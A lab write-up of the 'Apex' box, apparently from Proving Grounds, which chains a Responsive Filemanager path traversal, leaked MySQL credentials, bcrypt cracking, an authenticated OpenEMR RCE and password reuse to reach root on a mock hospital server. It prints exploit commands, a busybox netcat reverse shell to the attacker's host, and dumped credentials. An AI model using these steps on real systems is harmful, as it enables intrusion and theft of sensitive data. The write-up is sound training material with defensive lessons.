Apex
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. Apex is a fictional hospital with OpenEMR 5.0.1 and a Responsive Filemanager 9.13.4 on 80, an SMB withdocsand MySQL on 3306. The Filemanager has a path traversal (CVE-2018-20789): since itsDocumentsfolder is synced with the SMB sharedocs, we copysqlconf.phpthere and read it over SMB (path traversal), getting the MySQL credentials (openemr:C78maEQUIEuQ, credentials in config). In the database we pulladmin's bcrypt hash, crack it tothedoctor(cracking) and log into OpenEMR; its authenticated RCE (CVE-2018-17179) gives a shell aswww-data. That same password works forsu root(reuse).
Recon
Initial scan
The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan.
ping -c 1 192.168.104.14564 bytes from 192.168.104.145: icmp_seq=1 ttl=61 time=29.1 msWe sweep all TCP ports, then fingerprint versions:
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.104.145PORT STATE SERVICE
80/tcp open http
445/tcp open netbios-ssn
3306/tcp open mysqlnmap -p80,445,3306 -sCV 192.168.104.145 -oN targetedScanPORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: APEX Hospital
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
3306/tcp open mysql MariaDB 5.5.5-10.1.48A hospital site (80), a Samba (445) and a MariaDB (3306). The mix suggests a medical app with its database; the SMB usually holds documentation or shared files.
SMB - TCP 445
With a null session we enumerate the shares: docs is readable and contains OpenEMR PDFs, which gives away the app running behind it:
netexec smb 192.168.104.145 -u '' -p '' --shares
smbclient //192.168.104.145/docsdocs READ Documents
...
OpenEMR Success Stories.pdf
OpenEMR Features.pdfOpening the PDF confirms the product and even links to its repository (github.com/openemr/openemr), which will later tell us where OpenEMR keeps its files:

We keep the key fact: the docs share is a folder of the web server (we'll confirm it shortly).
HTTP - TCP 80
The site is "APEX Hospital". Enumerating routes turns up /openemr (the medical app) and a /filemanager:

OpenEMR is at /openemr; its admin.php identifies version 5.0.1:

Later on, once inside the application with an admin session, the About menu confirms it from the interface itself, without relying on the installer:

About OpenEMR
Version Number: v5.0.1 (1)
User Manual
Online Support
Acknowledgments, Licensing and CertificationThat trailing (1) is the patch number, and it is what will decide which exploit works later on.
And at /filemanager runs a Responsive Filemanager v9.13.4:

That Filemanager shows a Documents folder. Enumerating the SMB share docs we see the same two PDFs the Filemanager lists in Documents: both views point to the same folder on disk, i.e. Documents (web) and docs (SMB) are synced. That sync is the piece that joins the chain:

File read (path traversal)
Responsive Filemanager 9.13.4: SMB-synced path traversal
Responsive Filemanager 9.13.4 is vulnerable to a path traversal (CVE-2018-20789, exploit 49359.py). The exploit doesn't return the file directly: it uses the paste_clipboard action to copy the targeted file into the Documents folder. Since Documents is synced with the SMB share docs, we then read the result over SMB. First we validate the traversal against /etc/passwd (it needs a valid PHPSESSID, which we grab with a curl -I):
curl -I http://192.168.104.145/filemanager/
python3 exp.py "http://192.168.104.145" PHPSESSID=<session> /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologinThe copied file appears as passwd inside Documents in the Filemanager itself, visual proof the paste_clipboard worked:

At the manager's root it reads just as clearly, now next to the two original folders: the bar's counter moves to (1 Files - 2 Folders) and passwd shows up as one more file, selectable and downloadable straight from the browser:

/ (1 Files - 2 Folders)
Images Documents passwdAnd, since Documents is synced with docs, that same passwd can be downloaded over SMB:

With the PoC validated, the real target is OpenEMR's sqlconf.php, the file that holds the database credentials. We know its path from OpenEMR's public repository (sites/default/sqlconf.php):

We point the traversal at that path and retrieve it over SMB:
python3 exp.py "http://192.168.104.145" PHPSESSID=<session> /var/www/openemr/sites/default/sqlconf.php
smbclient //192.168.104.145/docs # get sqlconf.php
sqlconf.php reveals the database credentials (credentials in config):
$host = 'localhost';
$login = 'openemr';
$pass = 'C78maEQUIEuQ';
$dbase = 'openemr';Auth to OpenEMR (credentials)
MySQL: admin's hash and cracking
With those credentials we log into the MariaDB on 3306 and navigate to the openemr database:
mysql -h 192.168.104.145 -u openemr -p --skip-ssl # C78maEQUIEuQ
MariaDB [(none)]> show databases;
information_schema
openemr
MariaDB [(none)]> use openemr;
MariaDB [openemr]> show tables;The users_secure table holds the administrator's hash:
select username,password from users_secure;
admin $2a$05$bJcIfCBjN5Fuh0K9qfoe0eRJqMdM49sWvuSGqv84VMMAkLgkK8XnCIt's a bcrypt; we crack it offline with John (hash cracking):
john --wordlist=/usr/share/wordlists/rockyou.txt hash
thedoctor (?)admin's password is thedoctor. We use it on OpenEMR's login:

And we land in the panel as Administrator:

Shell as www-data
OpenEMR 5.0.1: authenticated RCE (CVE-2018-17179)
OpenEMR 5.0.1 has an authenticated RCE (CVE-2018-17179): with a valid admin session, commands run on the server. We look up the public exploit for that version:
searchsploit openemr 5.0.1
OpenEMR 5.0.1.3 - Remote Code Execution (Authenticated) | php/webapps/45161.pyWe download 45161.py and rename it:
searchsploit -m 45161.py
mv 45161.py openemr.py
Copied to: /proving_grounds/apex/exploits/45161.pyBefore triggering a shell it pays to check the RCE works. We fire a ping back at us and capture it with tcpdump:
sudo tcpdump -i tun0 icmp
python2 openemr.py http://192.168.104.145/openemr -u admin -p thedoctor -c "ping -c 1 192.168.45.196"
[$] Authenticating with admin:thedoctor
[$] Injecting payload
[$] Payload executed
20:40:49 IP 192.168.104.145 > 192.168.45.196: ICMP echo request, id 2221, seq 1
20:40:49 IP 192.168.45.196 > 192.168.104.145: ICMP echo reply, id 2221, seq 1The ICMP confirms execution. Now we set up an nc listener and fire the reverse shell with busybox netcat:
nc -nlvp 445python2 openemr.py http://192.168.104.145/openemr -u admin -p thedoctor -c "busybox nc 192.168.45.196 445 -e bash"
uid=33(www-data) gid=33(www-data) groups=33(www-data)We read the first proof (in white's home):
cat /home/white/local.txt && whoami && ip a && hostname
a32d76701998f67dc7034c46f2415c16Privilege escalation
Password reuse
The password we cracked for OpenEMR (thedoctor) is an obvious candidate for other accounts (credential reuse). We try it straight with su root:
su root # thedoctor
id
www-data@APEX:/var/www/openemr/interface/main$ su root
Password:
root@APEX:/var/www/openemr/interface/main# id
uid=0(root) gid=0(root) groups=0(root)root reuses the same password. We read the final proof:
cat /root/proof.txt && whoami && hostname && ip a
b41dc02e29368b5fdbcee6aaa4a38183Attack chain
SMB docs (445) ── OpenEMR PDFs (fingerprint) + folder synced with /filemanager
HTTP (80) ── OpenEMR 5.0.1 + Responsive Filemanager 9.13.4
│ path traversal (CVE-2018-20789) -> copy sqlconf.php to Documents -> read over SMB
│ -> MySQL openemr:C78maEQUIEuQ
▼
MySQL (3306) ── users_secure -> admin's bcrypt hash -> john -> thedoctor
│ OpenEMR admin:thedoctor -> authenticated RCE (CVE-2018-17179) -> busybox nc
▼
shell as www-data (local.txt)
│ password reuse -> su root (thedoctor)
▼
shell as root (proof.txt)Lessons learned
- Two services sharing a folder multiply the risk. The Filemanager's path traversal only copied files to
Documents, but that folder was the SMB sharedocs: the combination turned an internal copy into arbitrary read from outside. - Validate the PoC before the real target. Reading
/etc/passwdfirst confirmed the traversal without risking anything; only then did we go forsqlconf.php. And OpenEMR's public repo gave us that file's exact path. - DB credentials in config are a direct bridge.
sqlconf.phphanded overopenemr:C78maEQUIEuQ, which opened the database and, with it, the administrator's hash. - A low-cost bcrypt with a dictionary password falls fast.
thedoctorcame out of rockyou in seconds; cost 5 helps, but the real problem is the weak password. - Password reuse links the app to the system. The same
thedoctorfrom the panel worked forroot. Per-service credentials (and arootwith its own password) would have cut the escalation.